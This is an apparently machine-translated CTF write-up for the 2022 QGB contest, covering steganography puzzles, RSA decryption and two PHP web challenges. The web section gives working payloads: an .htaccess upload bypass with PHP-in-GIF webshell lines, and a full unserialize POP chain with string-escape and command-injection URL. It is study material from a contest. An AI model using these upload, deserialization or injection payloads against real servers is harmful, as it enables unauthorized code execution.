Original link: https://5ime.cn/qgb-2022.html
write in front
I feel that the competition experience is average. It is understandable that after all, this competition is the first time. The sign-in question was squatted on time at 8:59
, and the sign-in question was only at 9:01
? ! At first I thought there was no sign in question…
The collapse of the game question fans (the game team said: the flag echo has become the default value, so the obtained flag is not the correct flag, and the problem is maintained offline, but more than a dozen teams have already submitted successfully?! Then all the PWN
were offline and maintained. And the Web
question type, after the re-launch, except for one, two and three blood, other teams need to resubmit…
The second is that the final environment has become like this. It cannot be destroyed, delayed, or reopened.
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Misc
Welcome_to_QGB
base64
decoding to get flag
find gifs
aaa
found that the file header is png
, we directly changed it to aaa.png
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After the modification, it is obvious that the image is bbb.zip
half, directly change the height, and rotate the image to get the decompression password of fHKKjfido%^&v1
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After decompression, we get bbb
and then we find the key string NETSCAPE2.0
This string indicates that the file is GIF
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We add the file header 47 49 46 38 39 61
and change the file name to bbb.gif
to get the flag
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big boss big boss
lsb
steganography, directly exported as flag.png
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Then modify the file height
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The fun picture
Blasting out the password is 6g3T
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After decompression, the three files flag
and flag.txt
are used to confuse us. Through a hexadecimal editor, it is found that FUN.png
is actually a zip
archive file. FUN.png
changed to FUN.zip
to get flag3
, and then it is found that flag3
missing. png
file header 89 50 4e 47
, after adding, the file suffix is changed to .png
and scan the code to get the flag
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B@tCh
According to the characteristics of the file content, it is judged that it is a file encrypted by BatchEncryption
( [original tool][201610]BatchEncryption – batch encryption program ), and found a decryption script to restore the batch file confused by BatchEncryption (version 201610).
We just comment out lines 17-19
and change the value of i
to 9
. Because the original 9-60
characters are the ::BatchEncryption Build 201610 By [email protected]
string, but the title does not have this string, so we start decrypting from the 9
character instead, (in fact, use a hexadecimal editor If you add this string to the title, you don’t need to modify the script, but it feels a little troublesome
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Web
Upload
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<?php session_start (); echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Upload</title> <form action=\"\" method=\"post\" enctype=\"multipart/form-data\"> 上传文件<input type=\"file\" name=\"uploaded\" /> <input type=\"submit\" name=\"submit\" value=\"上传\" /> </form>" ; error_reporting ( 0 ); if (! isset ( $_SESSION [ 'user' ])){ $_SESSION [ 'user' ] = md5 (( string ) time () . ( string ) rand ( 100 , 1000 )); } if ( isset ( $_FILES [ 'uploaded' ])) { $target_path = getcwd () . "/upload/" . md5 ( $_SESSION [ 'user' ]); $t_path = $target_path . "/" . basename ( $_FILES [ 'uploaded' ][ 'name' ]); $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_ext = substr ( $uploaded_name , strrpos ( $uploaded_name , '.' ) + 1 ); $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES [ 'uploaded' ][ 'tmp_name' ];
if ( preg_match ( "/ph/i" , strtolower ( $uploaded_ext ))){ die ( "后缀名不可以有ph!" ); } else { if ((( $_FILES [ "uploaded" ][ "type" ] == " " ) || ( $_FILES [ "uploaded" ][ "type" ] == "image/jpeg" ) || ( $_FILES [ "uploaded" ][ "type" ] == "image/pjpeg" )) && ( $_FILES [ "uploaded" ][ "size" ] < 2048 )){ $content = file_get_contents ( $uploaded_tmp ); if ( preg_match ( "/\<\?/i" , $content )){ die ( "em..........这不还是php吗" ); } else { mkdir ( iconv ( "UTF-8" , "GBK" , $target_path ), 0777 , true ); move_uploaded_file ( $uploaded_tmp , $t_path ); echo " {$t_path} succesfully uploaded!" ; } } else { die ( "上传类型这么明显!" ); } } } ?>
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The black box tested it, filtered ph
and mime
, we directly uploaded the picture horse, first uploaded a .htaccess
file, and executed all the files as php
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------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition : form-data; name="uploaded"; filename=".htaccess" Content-Type : image/jpeg
SetHandler application/x-httpd-php
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition : form-data; name="submit"
上传 ------WebKitFormBoundaryrFspz4AKexD8h06m--
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Then I wrote a PHP
sentence in JS
. The most common sentence I wrote at the beginning was filtered. I looked at phpinfo
and found that the command execution functions were all filtered out. I used the built-in function backhand, and first used var_dump()
and scandir()
. scandir()
function prints the contents of the specified directory
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------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition : form-data; name="uploaded"; filename=".htaccess" Content-Type : image/jpeg
GIF89a <script language="php">var_dump(scandir('/var/'))</script>
------WebKitFormBoundaryrFspz4AKexD8h06m Content-Disposition : form-data; name="submit"
上传 ------WebKitFormBoundaryrFspz4AKexD8h06m--
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Then use the highlight_file()
function to read the file content and get the flag.
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GIF89 a <script language= "php" > highlight_file ( '/var/flag' )</script>
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ezpop_new
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<?php function filter ( $string ) { $safe = array ( 'system' , 'fopen' , 'fread' , 'file_get_contents' , 'flag' ); $safe = '/' . implode ( '|' , $safe ) . '/i' ; return preg_replace ( $safe , 'nonono' , $string ); } class PingUtils { function __call ( $name , $args ) { system ( "ping -c4 ${args[0]}" ); } } class Cindy { var $someone ; var $phone ; function call ( ) { $this ->phone-> call ( $this ->someone); } } class Bob { public $flag = True; public function __get ( $a ) { if ( $this ->flag) { $cindy = new Cindy (); $cindy ->someone = $_REQUEST [ 'someone' ]; $cindy ->phone = "p50" ; #var_dump(filter(serialize($cindy))); $cindy = unserialize ( filter ( serialize ( $cindy ))); $cindy -> call ( $someone ); } else { echo 'nonono' ; } } public function __wakeup ( ) { $this ->flag = False; } } class Alice { public function __destruct ( ) { echo $this ->c->b; } } highlight_file ( __FILE__ ); @ unserialize ( $_GET [ 'pop' ]);
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After auditing, we found that the final destination of deserialization is system("ping -c4 ${args[0]}");
in class PingUtils::__call()
, we can control the args[0]
parameter, and only need to By using the command separator ;
to bypass the ping
command and execute the desired command. Then push forward to find the entire POP chain:
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class Alice :: __destruct () echo $ this -> c -> b ; class Bob :: __wakeup () //绕过__wakeup () class Bob :: __get ($ a ) $ cindy = unserialize ( filter ( serialize ($ cindy ))); //字符串逃逸修改$ cindy -> phone = " p50 "为$ cindy -> phone = " ls / flag " $ cindy -> call ($ someone ); class Cindy :: call () $ this -> phone -> call ($ this -> someone ); class PingUtils :: __call ($ name ,$ args ) system (" ping - c4 $ {args[ 0 ]} ");
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There are also two tricks involved in the deserialization process:
Bypass __wakeup()
Since we need to enter the if
clause of class Bob::__get($a)
, the Bob
object will first trigger __wakeup()
when deserializing, thus making its flag
property False
. So we manually modify the serialization stream so that when the number of attributes represented in the serialization stream is greater than the actual number of attributes, the execution of the __wakeup()
magic method will be skipped.
Write exp:
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<?php class Alice { public $b ; public $c ; } class Bob { public $flag ; } $a = new Alice (); $b = new Bob (); $b ->flag = True; $a ->c = $b ; $a ->b = 'unknow' ; ?>
# 手动修改序列化流: # O:5:"Alice":3:{s:1:"b";s:6:"unknow";s:1:"c";O:3:"Bob":1:{s:4:"flag";b:1;}} # O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D
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It should be possible to modify the number of attributes of Alice
or the number of attributes of Bob
.
PHP string escape
Use $cindy->someone = $_REQUEST['someone'];
to escape the string, thereby overwriting the phone
property of the Cindy
object in class Bob::__get($a)
as the PingUtils
object. And the command we want to execute is also stored in the somesone
attribute.
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# 1.本地调试,打印出Cindy对象序列化后的流 "O:5:" Cindy ":2:{s:7:" someone ";s:12:" flagflagflag ";s:5:" phone ";s:3:" p50 ";}"
# 2.组织我们要逃逸出的内容。共35个字符 ";s:5:" phone ";O:9:" PingUtils ":0:{}}
# 3.选用fopen关键字,被filter函数替换为nonono后就会溢出一个字符,因此需要35个fopen。 O:5:" Cindy ":2:s:7:" someone ";s:213:" fopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopen;ls/ ";s:5:" phone ";O:9:" PingUtils ":0:{}}" ;s: 5 : "phone" ;s: 3 : "p50" ;}
# 4.替换后就是,溢出35个字符 O: 5 : "Cindy" : 2 :s: 7 : "someone" ;s: 213 : "nonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononono;ls /" ;s: 5 : "phone" ;O: 9 : "PingUtils" : 0 :{}} ";s:5:" phone ";s:3:" p50 ";}
# URL编码 %66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d
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So the final complete payload is:
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/?pop=O% 3 A5% 3 A% 22 Alice% 22 % 3 A3% 3 A% 7 Bs% 3 A1% 3 A% 22 b% 22 % 3 Bs% 3 A6% 3 A% 22 unknow% 22 % 3 Bs% 3 A1% 3 A% 22 c% 22 % 3 BO% 3 A3% 3 A% 22 Bob% 22 % 3 A1% 3 A% 7 Bs% 3 A4% 3 A% 22 flag% 22 % 3 Bb% 3 A1% 3 B% 7 D% 7 D&someone=% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 66 % 6 f% 70 % 65 % 6 e% 3 b% 6 c% 73 % 20 % 2 f% 22 % 3 b% 73 % 3 a% 35 % 3 a% 22 % 70 % 68 % 6 f% 6 e% 65 % 22 % 3 b% 4 f% 3 a% 39 % 3 a% 22 % 50 % 69 % 6 e% 67 % 55 % 74 % 69 % 6 c% 73 % 22 % 3 a% 30 % 3 a% 7 b% 7 d% 7 d
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Crypto
babyRSA
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import gmpy2 p = 138426212841397149251588296134109165537899310438173750798364671675288360000561798355248532054510396589533971267028332214842673811687883616744131130398289077554612883492204032984950562003356001139508926059499376562553551028636226548350263501563647121411422314575340826478224596800551927493501012088298680613879 q = 143049585916449723925099288769361999764006236021072588846981723369760726410300239985500007665844216512624584735358913225102358935263419564762626442560266419262555820476424949328464294635696200999314599615276252945343396324462380831303649657541178450608628341694003116451196859197001909770503494349726784153027 e = 33 c = 8289193595993122921665841895022976104081072031742625708463764526627277052318279883859957490142516216024577600646435489409922900157398525709897066174566802837502462355349783465478982642622084973551364981880045419080599645199823932885880822500635358984691098019833373137233421653021398144494548012693727095816659975325054446041806452350925160187980103112171629784199440456927010178848494443466141894033183475723365090593126309457761806861074583084445735295863195227044710706725657905516027928685083079534461311107335936896525014768633605005601716003989306032040278750752221002412831419560140443505534384151408234420458 n = p * q fn = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, fn) h = hex (gmpy2.powmod(c, d, n))[ 2 :] if len (h) % 2 == 1 : h= '0' + h print (h)
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The output content hexadecimal converted to a string is the flag
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